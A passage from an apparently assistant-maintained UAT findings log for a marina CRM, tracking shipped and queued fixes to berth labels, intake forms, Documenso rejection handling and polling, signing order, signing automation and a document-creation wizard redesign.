- **Fix applied:** dropped the area suffix from `labelFor` — rows now read `Berth A1`, `Berth B5`. Group heading still carries the area context. Same fix lands across every consumer of BerthPicker (tenancy create / renew / transfer dialogs, interest form, linked-berths add, etc.) because the label is centralized.
|
||||||
|
|
||||||
|
### Tag chips missing wherever StageStepper renders
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/clients/client-pipeline-summary.tsx_ + _src/components/clients/client-interests-tab.tsx_.
|
||||||
|
- **Fix applied:** every StageStepper call site (Overview top-deal block, Overview interest list, Interests-tab row item, Interests-tab detail panel) renders a tag-chip strip under the stepper. ClientInterestRow type carries `tags?: Array<{ id, name, color }>` and the interests list endpoint resolves the join in a single batch.
|
||||||
|
- **React-grab anchor:** `<div class="flex-1 truncate...">Qual.</div>` in StageStepper in InterestRowItem in ClientInterestsTab.
|
||||||
|
- **Symptom:** the InterestRowItem cards show berth label + stage badge + stepper, but no tag chips. Tags are first-class on interests everywhere else (detail page, list view) — the same chips should follow the StageStepper everywhere it appears so reps see "Hot lead / VIP / Returning client" context at a glance without drilling in.
|
||||||
|
- **Fix:** (a) extend `ClientInterestRow` with `tags?: Array<{ id, name, color }>` and surface from `useClientInterests` (`/api/v1/interests?clientId=X`). (b) Render a small tag-chip strip just above or below the StageStepper in InterestRowItem + every other StageStepper call site (currently `client-interests-tab.tsx:88, 263`, `client-pipeline-summary.tsx:224, 340`). (c) Cap to ~3 chips with a "+N" overflow indicator so long tag lists don't blow up the row height.
|
||||||
|
|
||||||
|
### New-document "Upload file" — unclear where the file lands
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/new-document-menu.tsx_ (Upload file dialog's `onUploadComplete`).
|
||||||
|
- **Fix applied:** per-file completion now emits a `toast.success('Uploaded <filename>')` with an action link. When the upload happened under an entity (clients/companies/yachts) the action navigates to that entity's detail page; otherwise it opens the destination folder via `/documents?folderId=…`. Still deferred (lower priority): naming the destination folder verbatim in the pre-upload dialog description.
|
||||||
|
|
||||||
|
### Recent files — no link to folder or attached entity
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/documents/hub-root-view.tsx_ + _src/lib/services/files.ts_ (`listFiles`).
|
||||||
|
- **Fix applied:** each row in the Recent files panel shows a folder chip (linking to `/documents?folderId=…`) and an entity badge (Interest / Client / Yacht / Company → entity detail page). `listFiles` already resolves `folderName / clientName / yachtName / companyName / interestSummary` in a single batched lookup so no N+1 cost.
|
||||||
|
- **React-grab anchor:** `<h3 class="flex items-cent...">Recent files</h3>` in HubRootView.
|
||||||
|
- **Symptom:** each recent-file row only shows filename + size + date; the rep has to remember which client / interest the file belongs to. No CTA to jump into the parent folder either.
|
||||||
|
- **Fix:** extend row payload with `{ folderId, folderName, clientId, clientName, interestId, interestBerthLabel }`. Render a small badge column showing the attached entity (client name or interest's berth label, like the EntityFolderView pattern already shipped). Right-hand action gains an icon button "Open folder" that navigates to the folder view in Documents Hub.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bucket 2 — Medium (15 min – 2 h)
|
||||||
|
|
||||||
|
### Supplemental-info form — no port branding, no logo on top
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/components/shared/branded-auth-shell.tsx_ + _src/lib/services/supplemental-forms.service.ts_ (loadByToken).
|
||||||
|
- **Fix applied:** `loadByToken` now returns `port: { name, logoUrl, backgroundUrl }` via `getPortBrandingConfig(token.portId)`. Page passes that directly to `BrandedAuthShell` via the explicit `branding` prop so the logo + backdrop render regardless of the route-group context.
|
||||||
|
|
||||||
|
### Supplemental-info form — extends edge-to-edge on long forms
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/shared/branded-auth-shell.tsx_.
|
||||||
|
- **Fix applied:** added a `width?: 'sm' | 'md'` prop. `'md'` widens the card to `max-w-xl` and swaps the `fixed inset-0` viewport pin for a normal `min-h-dvh` page scroll, so a 20+ field form scrolls naturally on mobile instead of clipping under the rubber-band cap. Login surfaces stay on `'sm'` (default) with the original pinned-and-centered shell.
|
||||||
|
|
||||||
|
### Supplemental-info form — address fields incomplete
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_ + _src/app/api/public/supplemental-info/[token]/route.ts_ + _src/lib/services/supplemental-forms.service.ts_.
|
||||||
|
- **Fix applied:** form now exposes street + city + region/state + postal code + country as separate inputs, mirroring the `client_addresses` shape. `loadByToken` returns the existing values for prefill; the API schema accepts the new fields; `applySubmission` diffs + writes them per-column with field-history entries.
|
||||||
|
|
||||||
|
### Supplemental-info form — no context about where details land
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/app/public/supplemental-info/[token]/page.tsx_.
|
||||||
|
- **Fix applied:** added the port name as an eyebrow above the title ("PORT NIMARA") and a clarifying line in the intro: "Submissions go straight to the team handling your application." The success state also references the port name explicitly.
|
||||||
|
|
||||||
|
### Marketing-site form parity — primary surface lives on the website
|
||||||
|
|
||||||
|
- **`OPEN`** (cross-repo) — _docs/marketing-site-followups.md_ for the spec; CRM keeps the `/public/supplemental-info/[token]` route as fallback.
|
||||||
|
- **Symptom / direction:** the marketing site should host the public-facing supplemental-info form (and any other public client forms, e.g. the EOI pre-flight intake) so the polish matches the rest of the public surface. The CRM-hosted page stays as the operator-safe fallback if the marketing site is down or not pointed at.
|
||||||
|
- **Fix:** document the API contract in `docs/marketing-site-followups.md` (route, payload shape, prefill response, submission schema, token expiry behaviour) so the marketing-site team can build the equivalent. Per-port hardcoded form layouts are fine on the marketing-site side; the CRM API stays generic.
|
||||||
|
|
||||||
|
### Interest OverviewTab — inherit empty fields from client + visually denote
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-tabs.tsx_ (OverviewTab + EditableRow).
|
||||||
|
- **Fix applied:** EditableRow gains an `inheritedFrom?: 'client' | 'yacht' | 'company'` prop that renders a small "from client" / "from yacht" pill next to the label. Wired on the Email + Phone rows so reps know edits propagate to the client-level contacts table. Yacht-dimension inheritance was already in place via the `yachtDimensions` payload + per-axis "from yacht" pill in the desired-dimensions block; both inheritance signals now use the same visual language.
|
||||||
|
- **React-grab anchor:** `<div class="space-y-1" />` in OverviewTab, inside the TabsContent presence wrapper.
|
||||||
|
- **Symptom:** the OverviewTab shows interest-level fields that, when empty, render as " - ". If the client (or linked yacht for dimensions) already has those details on file, the rep has to navigate to the client / yacht to see them. Adds friction + risks reps re-asking the client.
|
||||||
|
- **Fix:** when an interest field is null but the client/yacht has it filled, render the inherited value with a small visual cue (e.g. italic + a "from client" or "from yacht" pill). Editing in place should write to the interest's own column (override). Specific candidates:
|
||||||
|
- Berth requirements (desiredLengthFt/widthFt/draftFt) → fall back to linked yacht's lengthFt/widthFt/draftFt.
|
||||||
|
- Email/phone — already shown via `ClientChannelEditor` which reads client-level; the inheritance is implicit there but no visual indicator exists for "this came from client primary contacts."
|
||||||
|
- Address / country — interest has no address column; if shown on Overview, it's a pure read of the client's primary address (visual indicator helps reinforce that editing here updates the CLIENT, not just this deal).
|
||||||
|
- **Open question:** should editing an inherited dimension write to the interest (override, deal-specific) or to the yacht (correct the yacht record)? Default proposal: write to the interest (override pattern) and offer a follow-up CTA ("Update yacht record too?").
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bucket 3 — Features / larger (> 2 h)
|
||||||
|
|
||||||
|
### Documenso rejection reason — pull through + surface to the rep
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed) — backend; UI surfacing queued`**
|
||||||
|
- **Files touched:**
|
||||||
|
- _src/app/api/webhooks/documenso/route.ts_ (`DocumensoRecipient` type extended with `rejectionReason` + `declineReason`; DOCUMENT_REJECTED / DOCUMENT_DECLINED handler now coalesces the two field names and passes through).
|
||||||
|
- _src/lib/services/documents.service.ts_ (`handleDocumentRejected` signature gains `rejectionReason?: string | null`; `document_events.eventData` stores it; audit log metadata carries it; the in-CRM notification description quotes it inline, truncated at 120 chars with full reason still in the audit row).
|
||||||
|
- **User's question:** "are we able to pull through the rejection reason through the API if a signer rejects the document through documenso? if so we need to pull it through and append it."
|
||||||
|
- **Answer:** yes — Documenso sends the cleartext reason on the recipient object (`rejectionReason` on v2; some 1.x payloads use the legacy `declineReason`). Up to this fix we were ignoring both. Now coalesced + persisted + surfaced.
|
||||||
|
- **Where the reason now appears (after this fix):**
|
||||||
|
1. `document_events` row → `eventData.rejectionReason` (the audit timeline can render it).
|
||||||
|
2. `audit_logs` row → `metadata.rejectionReason` (admin's audit-log viewer surfaces it).
|
||||||
|
3. In-CRM rep notification → inline in the description quoted in ASCII quotes, truncated to 120 chars so the bell tile doesn't wrap awkwardly. Example: `matt@letsbe.solutions declined to sign: "The deposit amount needs to be £20k not £30k" — review and regenerate.`
|
||||||
|
- **Still queued (UI surfacing):** EOI tab + InterestEoiTab status banner should also render the rejection reason inline below the "EOI declined" headline. Right now the banner just says rejected without surfacing the why. ~30 min to wire — query the latest `document_events` row of type=`rejected` for the active EOI and pluck `eventData.rejectionReason`. Bundle with the next round of EOI-tab polish.
|
||||||
|
- **Cross-ref:** the broader "Activity feed comprehensive copy" finding above — both are about pulling raw signal out of audit_logs / document_events and rendering it as actionable copy instead of generic "updated this record" / "EOI declined." Pattern: every domain event should carry domain-meaningful detail through to the UI.
|
||||||
|
|
||||||
|
### Documenso rejection — UI didn't reflect rejected state; poller fallback was missing the REJECTED branch
|
||||||
|
|
||||||
|
- **`PARTIALLY SHIPPED locally (poller fixed; webhook URL auto-update + admin health-check queued)`**
|
||||||
|
- **Confirmed root cause (per user):** Documenso webhooks were configured to a stale cloudflared tunnel URL (quick-tunnels rotate hostnames on restart). Documenso was POSTing into a dead host. The CRM never received the rejection event. User confirmed: "the webhooks aren't working because they're a cloudflare tunnel link that is set in the crm but no longer works".
|
||||||
|
- **Secondary root cause (discovered while fixing):** the existing `signature-poll` BullMQ job runs every 5 minutes via `src/lib/queue/scheduler.ts:21` and is the documented fallback for missed webhook deliveries — but it **did not handle the REJECTED / DECLINED path at all.** It only reconciled SIGNED (recipient), COMPLETED (document), and EXPIRED (document). A rejected document polled by this job saw no matching branch and exited silently. So even with the polling fallback running, rejections were invisible to the CRM. User reasonably asked: "shouldn't the API be polling for updates to signatures/document stuff in the absence? Is the system not checking if the webhook works, or is there no way to do so?"
|
||||||
|
- **Files touched (this fix):**
|
||||||
|
- _src/lib/services/documenso-client.ts:157_ (`normalizeDocument`) — recipient shape now coalesces `rejectionReason` ?? `declineReason` and surfaces it on every poller / direct-fetch consumer.
|
||||||
|
- _src/lib/services/documenso-client.ts:213_ (`DocumensoDocument.recipients[]`) — gains optional `rejectionReason?: string`.
|
||||||
|
- _src/jobs/processors/documenso-poll.ts_ — new `else if` branch for `remoteDoc.status === 'REJECTED' | 'DECLINED'`. Finds the rejecting recipient, plucks the reason, hands off to `handleDocumentRejected` with the same shape the webhook receiver uses — so `document_events`, audit log, notification, and UI all converge on identical state regardless of delivery path.
|
||||||
|
- _src/lib/services/documents.service.ts:1920_ (`handleDocumentRejected` — already-extended in the earlier rejection-reason finding) — accepts `rejectionReason?: string | null`, stores on `document_events.eventData`, surfaces in the rep notification description, persists in audit log metadata.
|
||||||
|
- _src/app/api/webhooks/documenso/route.ts_ (already-extended earlier this turn) — DOCUMENT_REJECTED / DOCUMENT_DECLINED handler coalesces the reason and passes through.
|
||||||
|
- **Result of this fix:** even with a broken tunnel, the rejected document will converge to `status='rejected'` within 5 minutes of the next `signature-poll` job tick. The rep gets the notification, the EOI tab status pill flips, audit log carries the rejection reason. Webhook is now an OPTIMISATION (sub-second), not a CORRECTNESS REQUIREMENT.
|
||||||
|
- **Still queued (higher-value follow-ups):**
|
||||||
|
1. **Auto-update Documenso's webhook URL on tunnel restart.** `./scripts/tunnel-url.sh --copy` already prints the URL; extend it to also POST to Documenso's webhook-update API endpoint using the same API key the CRM uses for envelope creation. One command rotates the URL on every dev session. Add a LaunchAgent post-start hook so this happens automatically when the tunnel-service restarts.
|
||||||
|
2. **Admin "Webhook health" page.** New page at `/admin/integrations/webhooks` that surfaces: last-received timestamp per webhook event type (so a multi-day gap is visible), count of webhooks received in the last 24h vs documents created in the same window (the ratio should be ~1:1 in a healthy port), a "Test webhook delivery" button that posts a synthetic test event and waits for the round-trip. ~3–4h.
|
||||||
|
3. **Periodic divergence alarm.** Cron job (separate from `signature-poll`): if more than X documents are stuck in `'sent'` for > Y hours, fire an alert to super admins so they investigate webhook / Documenso config. ~1h once the alert infra is settled.
|
||||||
|
4. **Document the "re-paste tunnel URL into Documenso after every tunnel restart" gotcha in CLAUDE.md** until the auto-PATCH lands. ~5 min.
|
||||||
|
- **Why polling alone isn't enough long-term:**
|
||||||
|
- Latency: 5-min worst case until the CRM converges. Reps watching for a fresh signature don't want to wait 5 minutes.
|
||||||
|
- Cost: per-poll `getDocument` call per in-flight doc per 5 min × N ports = noticeable Documenso API traffic at scale.
|
||||||
|
- Webhooks remain the right primary path; polling is the safety net. Both should work.
|
||||||
|
- **How the user can verify the fix right now:**
|
||||||
|
- Run `./scripts/tunnel-url.sh --copy`, paste the URL into Documenso webhook settings (Documenso → Settings → Webhooks → edit the existing one → paste new URL → save). The webhook is now reachable for the next test.
|
||||||
|
- Alternatively (without fixing the tunnel), wait up to 5 minutes — the poller will pick up the existing rejected doc and reconcile it. Watch the EOI tab; status pill should flip from AWAITING SIGNATURES to REJECTED.
|
||||||
|
- **Cross-refs:**
|
||||||
|
- The "Documenso upload comprehensive audit" finding (Bucket 3 above) — bundle with that audit since both are about Documenso ↔ CRM state convergence under failure modes.
|
||||||
|
- The "Documenso rejection reason — pull through" finding above — same chain of changes; the poller fix completes the rejection-reason-everywhere arc.
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. **Should the auto-PATCH of Documenso's webhook URL on tunnel restart happen unconditionally**, or behind a feature flag (`DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`) so prod ports can't accidentally have their webhook URL rotated by a stale dev script? My recommendation: env-flag-gated.
|
||||||
|
2. **What should the admin Webhook Health page do for ports with NO webhooks ever received?** Render a "not yet tested" empty state, or auto-fire a synthetic test on first page load? Default proposal: explicit "Test now" button — surprise-auto-firing webhooks on a fresh admin visit is wrong.
|
||||||
|
|
||||||
|
### Documenso signing order — does template's SEQUENTIAL win or does CRM override?
|
||||||
|
|
||||||
|
- **`ANSWER + clarifying fix queued`**
|
||||||
|
- **User question:** "is the signing order we designate overridden by the template signing order set in the documenso app when I make a template?"
|
||||||
|
- **Files inspected:**
|
||||||
|
- _src/lib/services/documenso-client.ts:462-499_ (template-use → envelope-update post-create flow).
|
||||||
|
- _src/lib/services/documents.service.ts:813_ (`docCfg.signingOrder ? { signingOrder: docCfg.signingOrder } : {}` spread on EOI generate call).
|
||||||
|
- _src/lib/services/port-config.ts_ (getPortDocumensoConfig returns `signingOrder: 'PARALLEL' | 'SEQUENTIAL' | null`).
|
||||||
|
- **Answer:** **the CRM's per-port `documenso_signing_order` setting overrides the template's stored signing order — but only when the port setting is explicitly set.** Mechanism:
|
||||||
|
- `/template/use` creates the envelope from the template. Documenso v2's template-use endpoint **silently drops the `meta` field on the request body** — signingOrder/subject/message/redirectUrl all inherit from the template's stored defaults. (See the comment at documenso-client.ts:464.)
|
||||||
|
- The CRM then patches `/envelope/update` while the envelope is still DRAFT to apply per-port overrides. This update _can_ set signingOrder.
|
||||||
|
- At documenso-client.ts:472-476 the update only includes `signingOrder` (and the other meta fields) when the value is non-empty. If the port's `documenso_signing_order` setting is empty/null, the update skips that field and the **template's stored value (SEQUENTIAL in your case) is preserved.**
|
||||||
|
- At documents.service.ts:813 the signingOrder is only PASSED to the create call when truthy. Same logic — empty port setting means template wins.
|
||||||
|
- **Implication for the user's port:** if the EOI currently shows "Concurrent" but the template is SEQUENTIAL, your port's `documenso_signing_order` setting is set to `PARALLEL` (overriding the template). Check at Admin → Documenso → Behavior → signing order. Either flip it to SEQUENTIAL (forces sequential regardless of template) or clear it to `null` (defers to whatever the template specifies, which would honour your SEQUENTIAL template).
|
||||||
|
- **Suggested UX fix (capture as `OPEN`):** the admin settings form for `documenso_signing_order` should offer **three** values, not two: `SEQUENTIAL`, `PARALLEL`, and `Use template default` (the empty/null state). Today it's a binary toggle that hides the "defer to template" option. A rep configuring per-port settings can't easily express "I want the template to win" without knowing to leave the field blank.
|
||||||
|
- **Cross-refs:** ties into the Automate Signing finding directly below — automation behaviour DEPENDS on signing order semantic, so they should ship in the same wave.
|
||||||
|
|
||||||
|
### Automate signing — single button that cascades invites + emails the completed doc (REFINED with signing-order awareness)
|
||||||
|
|
||||||
|
- **`SHIPPED locally (not yet committed)`** — committed earlier this UAT round as commit `fe5f98d` (`feat(automate-signing): one-click invitation kickoff + auto cascade + completion broadcast`).
|
||||||
|
- **Where it lives:** `src/lib/services/signing-automation.service.ts` orchestrates the kickoff + cascade. `documents.automation_mode` column tracks `'manual' | 'sequential_auto' | 'concurrent_auto'` (migration `0088_documents_automation_mode.sql`). Webhook handler in `src/app/api/webhooks/documenso/route.ts` reads automation mode on each recipient-signed event and fires the next invite when in `sequential_auto`.
|
||||||
|
- **Files implicated (once built):**
|
||||||
|
- _src/components/documents/active-eoi-card.tsx_ (new "Automate signing" button + state visualisation).
|
||||||
|
- _src/lib/services/documents.service.ts_ (new `automateSigning(documentId, portId)` orchestrator).
|
||||||
|
- _src/lib/services/documenso-client.ts_ (already has `sendDocument` + `sendReminder`; may need `setSigningOrder('SEQUENTIAL')` mid-flight if the doc wasn't created sequential).
|
||||||
|
- _src/app/api/webhooks/documenso/route.ts_ → `handleRecipientSigned` (today only updates the row; needs a branch that fires the NEXT signer's invite when the envelope is in "automated" mode).
|
||||||
|
- _src/lib/db/schema/documents.ts_ — new column `documents.automation_mode: 'manual' | 'sequential_auto' DEFAULT 'manual'`.
|
||||||
|
- _src/lib/email/templates/_ — new template `signing-completed-recipient-bundle.tsx` for the all-done broadcast with signed PDF attached (already 80% there — `compose-completion-email` route exists per `document-detail.tsx:217`).
|
||||||
|
- **React-grab anchor:** `<section class="rounded-xl bord..." />` in `ActiveEoiCard` in `InterestEoiTab`.
|
||||||
|
- **User's request (verbatim):** "there should also be something like an 'Automate Signing' button where it sends out an auto invite to the signers in order one after the other as they sign, then send them all a confirmation email with the signed document attached when done."
|
||||||
|
- **Proposed feature spec (two-mode):**
|
||||||
|
1. **New button on ActiveEoiCard:** "Automate signing" — visible when (a) the doc has ≥2 signers, (b) status is `draft` (Documenso has the envelope but no invite has gone out yet), (c) the rep has `documents.send` permission. Same conditions as the existing per-row "Send invitation" CTA but operates over the whole flow.
|
||||||
|
2. **On click:** the dialog branches based on the document's signing order (which the CRM reads from the envelope via `getDocument` or persists locally on `documents.signing_order` at create time):
|
||||||
|
- **Concurrent / PARALLEL signing order:** confirmation modal explains "All N signers will receive the invitation now. As each signs, you'll see their progress in real time. When everyone has signed, every recipient gets the completed PDF by email." Submission fires ALL signer invitations in parallel (single bulk dispatch) and sets `documents.automation_mode='concurrent_auto'`. The webhook completion handler still fires the final broadcast email — same as sequential mode below.
|
||||||
|
- **Sequential / SEQUENTIAL signing order:** confirmation modal explains "Documenso will route this in order. First we'll invite {firstSigner.name}. As each signer completes, the next invite fires automatically. When everyone has signed, every recipient gets the completed PDF by email." Submission fires only the first signer's invitation and sets `documents.automation_mode='sequential_auto'`. Webhook handler fires next-in-order on each `recipient_signed` (logic below).
|
||||||
|
3. **Webhook side (sequential mode only):** in `handleRecipientSigned`, after the existing row update, check the parent doc's `automation_mode`. If `sequential_auto` AND there's a next-in-order signer with `invitedAt=NULL` AND envelope status isn't completed, fire that signer's invitation. Concurrent mode skips this entirely (everyone already invited). Use the existing token + branded-invite path so the email is identical to a manually-fired invite.
|
||||||
|
4. **On completion** (`handleDocumentCompleted`) — shared across both modes: if `automation_mode` is `concurrent_auto` OR `sequential_auto`, queue the existing `composeCompletionEmail` route logic to send the signed PDF to every recipient (signers + CCs + approvers). Stays decoupled from the user-driven `email-completion` flow that already exists for manual mode.
|
||||||
|
5. **UI state during automation (mode-aware):**
|
||||||
|
- **Sequential:** ActiveEoiCard shows an "Automating · signer N of M" banner.
|
||||||
|
- **Concurrent:** banner reads "Automating · all N signers invited · 0 of N signed" and updates as signatures land.
|
||||||
|
- **Both modes:** per-row layout collapses to a status badge + the existing Copy link button (so reps can still manually share if they want a parallel channel).
|
||||||
|
- **Both modes:** A "Pause / Revert to manual" affordance lets the rep stop auto-firing mid-flow (set `automation_mode='manual'`).
|
||||||
|
6. **Why distinguish concurrent vs sequential automation:** user noted that for concurrent, automation is just "send invites at once" — the cascade-as-they-sign logic only applies to sequential. Spec must NOT force a concurrent doc into a sequential cascade just because the rep clicked Automate. The signing order is preserved from the envelope; automation respects it.
|
||||||
|
- **Why this matters:** today the rep has to babysit a multi-signer doc: send invite #1, watch for webhook, send invite #2, repeat. For a 4-signer Reservation Agreement (common case per recent UAT screenshot) that's 4 manual button clicks across hours/days. Automation closes the gap between "Documenso supports sequential signing" and "the rep gets a one-click 'set it and forget it' workflow."
|
||||||
|
- **Effort:** ~6–8h end-to-end.
|
||||||
|
- ~30 min schema migration + Drizzle type update for the new column.
|
||||||
|
- ~1h orchestrator service function + permission gate.
|
||||||
|
- ~1h webhook branch (sequential-auto next-fire logic) + idempotency guard so two concurrent webhook deliveries don't double-fire.
|
||||||
|
- ~1h completion-email broadcast wiring (reuse `composeCompletionEmail`).
|
||||||
|
- ~1.5h ActiveEoiCard UI (button + confirmation modal + automating banner + pause CTA).
|
||||||
|
- ~1h vitest covering: automation enable → first invite fires; webhook signs → next invite fires; completion → broadcast email; pause mid-flow → no further auto-fires.
|
||||||
|
- ~30 min audit-log entries on enable / pause / auto-fire / broadcast.
|
||||||
|
- **Alternatives considered + rejected:**
|
||||||
|
- **Auto-fire ALL invites at once instead of sequentially** — rejected because Documenso's SEQUENTIAL signing order specifically means signers must wait their turn. Firing all invites at once + asking signers to wait is confusing UX.
|
||||||
|
- **Defer to Documenso's native auto-send** — rejected because Documenso's auto-send doesn't trigger our branded invite email path or our post-completion broadcast; the rep gets Documenso's stock emails instead of the per-port-branded templates we ship.
|
||||||
|
- **Cross-refs:**
|
||||||
|
- `documenso_signing_order` per-port setting (already exists per CLAUDE.md Documenso section).
|
||||||
|
- `compose-completion-email` route (document-detail.tsx:217 — partially built; this finding finishes the auto-broadcast half).
|
||||||
|
- Pairs with the "Documenso upload comprehensive audit" finding above — both touch the upload-for-signing service. Bundle them as one focused Documenso polish wave.
|
||||||
|
- **Open questions for the user:**
|
||||||
|
1. **When the rep enables automation mid-flow (e.g. signer #1 was already manually invited), should the system pick up where they left off, or refuse and require the rep to start from a draft?** Default proposal: pick up — find the next-in-order signer with `invitedAt=NULL` and fire from there. Cleanest UX, matches what reps would expect.
|
||||||
|
2. **Completion broadcast scope — does it include CCs and Approvers, or only the SIGNERs?** Default proposal: everyone (the CC role exists specifically to get a copy at the end). If you want a different default, name it.
|
||||||
|
3. **Should the rep be able to PARTIALLY automate — fire invites automatically but stop short of the broadcast email?** I'd say no for v1 (one workflow, one mode), but if your reps already split those steps mentally we could offer two distinct modes.
|
||||||
|
4. **Existing per-row "Send invitation" + "Send reminder" buttons during automation — keep them visible (as override) or hide entirely?** Default proposal: keep them visible but show "Auto-firing soon" tooltip when the doc is in `sequential_auto`. Reps retain manual control.
|
||||||
|
|
||||||
|
### `/documents/new` CreateDocumentWizard — confusing, redundant pathways
|
||||||
|
|
||||||
|
- **`MOSTLY SHIPPED locally (not yet committed) — remaining: convert page to dialog`**
|
||||||
|
- **What shipped (per commit `2107480` `feat(wizard-refactor): drop inapp pathway + upload branch + per-port template defaults + mark-signed dropdown`):**
|
||||||
|
- Wizard upload branch removed; `source: 'template'` hard-coded.
|
||||||
|
- `pathway: 'documenso-template'` hard-coded; `inapp` removed.
|
||||||
|
- Doc-type-driven template defaults: `/api/v1/documents/template-defaults` returns the per-port `documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`; wizard auto-fills the picker when the rep selects a doc type.
|
||||||
|
- "Mark as signed (offline)" dropdown item exists in NewDocumentMenu (line 113 of new-document-menu.tsx).
|
||||||
|
- **Remaining:** drop the `/documents/new` route in favour of a `<GenerateDocumentDialog>` modal opened from the dropdown — architectural change, deferred until the rest of the launch stabilises.
|
||||||
|
- **React-grab anchor:** `<section class="rounded-md bord..." />` in CreateDocumentWizard in NewDocumentPage.
|
||||||
|
|
||||||
|
**Current state — three flows wired three different ways:**
|
||||||
|
|
||||||
|
| # | What | Entry point today | Underlying mechanism |
|
||||||
|
| --- | ---------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| 1 | Generate an EOI/Contract/Reservation from a template, send through Documenso | `EoiGenerateDialog` (interest tab) OR `/documents/new` wizard → `Generate from a template` + pathway = `documenso-template` | Template synced to Documenso; CRM calls the Documenso template-generate endpoint with merge-field values; Documenso renders + distributes for signing. |
|
||||||
|
| 2 | Upload an arbitrary PDF, place fields manually, send through Documenso | `UploadForSigningDialog` (interest tabs + NewDocumentMenu dropdown) | PDF uploaded to storage; rep drags signature/text/date/checkbox fields onto the PDF preview; CRM POSTs PDF + field metadata to Documenso (`field/create-many` on v2 or the legacy `placeFields` on v1). |
|
||||||
|
| 3 | Upload a PDF that's already signed offline, mark it as signed | `ExternalEoiUploadDialog` (interest EOI tab) for EOIs; equivalent for Reservation/Contract on their tabs | No Documenso involvement; service flips `eoiStatus`/`reservationDocStatus`/`contractDocStatus` to `signed` + advances stage; pure metadata operation. |
|
||||||
|
|
||||||
|
**What's wrong:**
|
||||||
|
|
||||||
|
1. **Wizard duplicates the dropdown.** `NewDocumentMenu` already exposes three named actions (Upload file / Upload & send for signature / Generate for signing) that map cleanly to flows 2/2/1. The wizard then takes the rep to `/documents/new`, where they pick AGAIN between "Generate from a template" and "Upload a finished PDF" — the upload branch is just flow 2 reimplemented worse (no field placement UI, just a stored file id).
|
||||||
|
2. **The "inapp" template pathway is undocumented and probably unused.** The wizard's pathway dropdown offers `documenso-template` (rendered by Documenso) vs `inapp` (rendered by CRM via pdf-lib AcroForm fill, then sent to Documenso for signature). The inapp pathway exists in code but no UI feature surfaces it as a deliberate choice — it's a configuration trap.
|
||||||
|
3. **Flow 3 (upload externally-signed) has no entry from the wizard or the dropdown.** It's only reachable from the per-interest tabs, which is fine for EOI / Reservation / Contract, but means a rep who lands on `/documents/new` can't even ask for it.
|
||||||
|
4. **Templates feel like a heavyweight concept.** Reps want to "send an EOI to this client" — they shouldn't have to think about which template id maps to that.
|
||||||
|
|
||||||
|
**Why templates exist (do we need them?):**
|
||||||
|
|
||||||
|
Templates ARE needed for flow 1 — the generate-via-Documenso path. Documenso requires a pre-built template (with signature/text field placeholders) that lives on its side; the CRM provides merge-field values and Documenso renders the final PDF. We can't ship flow 1 without templates because Documenso's API requires a template id. They ARE NOT needed for flows 2 and 3.
|
||||||
|
|
||||||
|
The catch: most ports will have ~3 templates total (EOI, Reservation Agreement, Contract). Hiding the template picker behind a doc-type selector ("EOI" → uses the port's `documenso_eoi_template_id` setting) makes templates invisible to reps — they pick a doc type, the right template loads. Already half-implemented for EOI via `documenso_eoi_template_id`; needs the same treatment for Reservation + Contract.
|
||||||
|
|
||||||
|
**Proposed redesign:**
|
||||||
|
|
||||||
|
- **Delete the wizard's upload branch.** Flow 2 lives in `UploadForSigningDialog` which is already the right surface. The wizard becomes generation-only.
|
||||||
|
- **Delete the pathway dropdown.** `inapp` is dead; either remove it or surface it as an admin-only override. Default to `documenso-template`.
|
||||||
|
- **Replace the template picker with a doc-type-driven default.** Rep picks "EOI / Reservation Agreement / Contract" → wizard resolves the template id from per-port settings (`documenso_eoi_template_id`, `documenso_reservation_template_id`, `documenso_contract_template_id`). For ports that want a non-default template, an admin-only "Use a specific template" override stays.
|
||||||
|
- **Surface flow 3 from the dropdown menu.** Add "Mark as signed (uploaded offline)" as a fourth dropdown item that opens the appropriate external-signed dialog based on the current entity context.
|
||||||
|
- **Drop `/documents/new` as a route entirely.** Replace with a `<GenerateDocumentDialog>` opened from the dropdown menu, matching the modal pattern the other flows already use. Saves a page navigation + keeps the entry pattern consistent.
|
||||||
|
|
||||||
|
**Effort:** ~6–8h end-to-end. Largest piece is the template-id resolution — needs the per-port settings keys for Reservation + Contract (if not already there) + wizard service migration. UI surgery is ~2h.
|
||||||
|
|
||||||
|
**Open questions for the user:**
|
||||||
|
|
||||||
|
- Confirm flow 3 (mark externally signed) should be reachable from the dropdown menu, not just from per-interest tabs.
|
||||||
|
- Confirm the `inapp` pathway can be removed (or do reps still need a CRM-rendered PDF for any edge case the audit hasn't surfaced?).
|
||||||
|
- Confirm the per-port template-id pattern is the right way to hide templates from reps. Alternative: a one-time admin step to pick the default per doc type, with a "switch template" link visible to admins only.
|
||||||
|
|
||||||
|
### CreateDocumentWizard — Reminders/Watchers/Signers leak into upload-only flow
|
||||||
|
|
||||||
|
- **`SUPERSEDED`** — _src/components/documents/create-document-wizard.tsx_ (wizard is generation-only since 2026-05-26 refactor; `source: 'template'` hard-coded, upload branch removed).
|
||||||
|
- **Reason:** the 2026-05-26 wizard refactor cut the upload branch entirely. The wizard is now purely "generate from template → Documenso" so Signers / Reminders / Watchers always apply. Offline-signed upload flows live elsewhere (per-interest external-upload dialogs, generic FileUploadZone). No longer a leak to fix.
|
||||||
|
|
||||||
|
### CreateDocumentWizard subject picker — needs at-a-glance entity scan
|
